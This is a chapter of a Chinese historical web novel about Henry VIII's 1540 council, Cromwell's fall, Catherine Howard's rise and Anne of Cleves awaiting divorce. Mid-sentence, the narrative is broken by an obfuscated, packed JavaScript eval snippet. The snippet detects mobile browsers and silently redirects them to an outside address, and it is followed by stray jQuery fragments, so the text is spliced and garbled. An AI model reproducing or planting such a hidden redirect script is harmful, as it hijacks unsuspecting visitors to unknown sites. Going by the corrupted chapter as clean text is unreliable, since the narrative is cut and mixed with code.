第十一章金丝雀啼时，旧玫瑰凋零


    汉普顿宫，1540 年 6 月 20 日——夏至前两日，白昼长到令人心慌。


    一、御前会议：国王的耐心耗尽


    议政厅的门正午才开，雕窗透进的阳光像一把斜插的金矛，直戳在长桌中央。亨利八世坐在高背椅里，膝上仍盖那条织金薄毯，痛风肿块在毯下起伏，像潜伏的第三只眼。


    他环视左右，声音不高，却带着猎人割喉前的温柔：


    “诸位，朕要听一句痛快话——如何体面地结束这段德意志婚姻？”


    长桌两侧，纸卷、羽毛笔、冷汗同时落地。


    托马斯·克伦威尔站在最末端，袖口磨得发亮。他深吸一口气，摊出三份折子：


    1. 《王后理财有功疏》——里士满行宫半年盈余两千镑；


    2. 《北方贵族联署表》——七位伯爵愿为王后作保；


    3. 《神圣同盟风险论》——此刻离婚，德意志诸侯或断供军火。


    他声音低沉：“陛下，换船需先补洞，否则新船也会沉。”


    亨利用食指敲椅背，节奏像断头台的鼓点：“朕的船，朕说了算。”


    克伦威尔还想再言，霍华德已抢先一步，将一份墨迹未干的“民意折”推上前：


    “诺福克、萨福克七郡乡绅联名，称王后‘无出’，恳请陛下另择佳人。”


    折子末尾，赫然是霍华德公爵的印章，朱砂鲜红。


    克伦威尔瞳孔骤缩——背刺来得比痛风还快  霍华德连民意都替他准备好了。


    霍华德半侧身，向克伦威尔投去极轻的一瞥，唇语无声：


    “你的时代结束了。”


    克伦威尔握紧拳——他明白，自己亲手送上的王后，如今成了霍华德爬上龙床的梯子。


    他低头，指尖在袖中掐进掌心，血腥味与蜂蜡味混在一起。


    亨利抬手，鼓点停。


    他先看克伦威尔，再看霍华德，像在称两枚筹码的重量。


    最终，他轻笑一声，把克伦威尔的折子丢进火盆：


    “纸灰很轻，朕的心更重。”


    火焰舔上纸角，数字、签名、联盟顷刻成灰。


    亨利转向霍华德，语气像在谈天气：


    “下周，朕要看到‘无子、无爱、无合’的三重奏。其余细节，你们自己填。”


    他起身，痛风让他踉跄，却无人敢扶


    “记住，”国王的声音在拱顶回荡，“朕只要结果，不要理由。”


    会议散场，暮色压下来。克伦威尔独自站在长廊，灯影把他的影子拉得瘦长。


    他想起之前，自己亲手把安妮送上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155901|180550||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    婚船；如今船要沉，他却连一块木板都抓不到。


    身后，霍华德的笑声像钝刀刮骨：


    “秘书大人，金丝雀已入笼，猎犬该换新主人了。”


    克伦威尔没有回头，只在袖中攥紧那枚曾用来封诏的火漆印——印面已裂，像他的政治生命。


    汉普顿宫偏殿，凯瑟琳在镜前试戴红宝石项链。


    项链是国王昨夜的赏赐，沉重得像一条锁链。


    她盯着镜中的自己，金发在烛光里流淌，眼底却闪过一丝计算：


    “下一步，是皇冠。”


    镜旁的小桌上，摆着一封未拆的信——霍华德亲笔：


    “别忘了，你的翅膀是我们缝的。”


    凯瑟琳用指甲轻轻划过信封，唇角扬起极轻的弧度：


    “翅膀是我的，飞向哪里，由我决定。”


    里士满行宫，深夜。


    安妮坐在熄了灯的窗前，指尖绕着那枚银线日期环：1540.7.6


    窗外雨声潺潺，玫瑰花瓣落了一地。


    胡椒狗把脑袋搁在她膝上，尾巴轻轻拍打。


    安妮抚摸狗耳，声音低得只有自己听得见：


    “金丝雀啼了，玫瑰该谢幕了。”


    雨声替国王回答：沙沙，沙沙，像无数细小的掌声，为即将落幕的旧王后送行。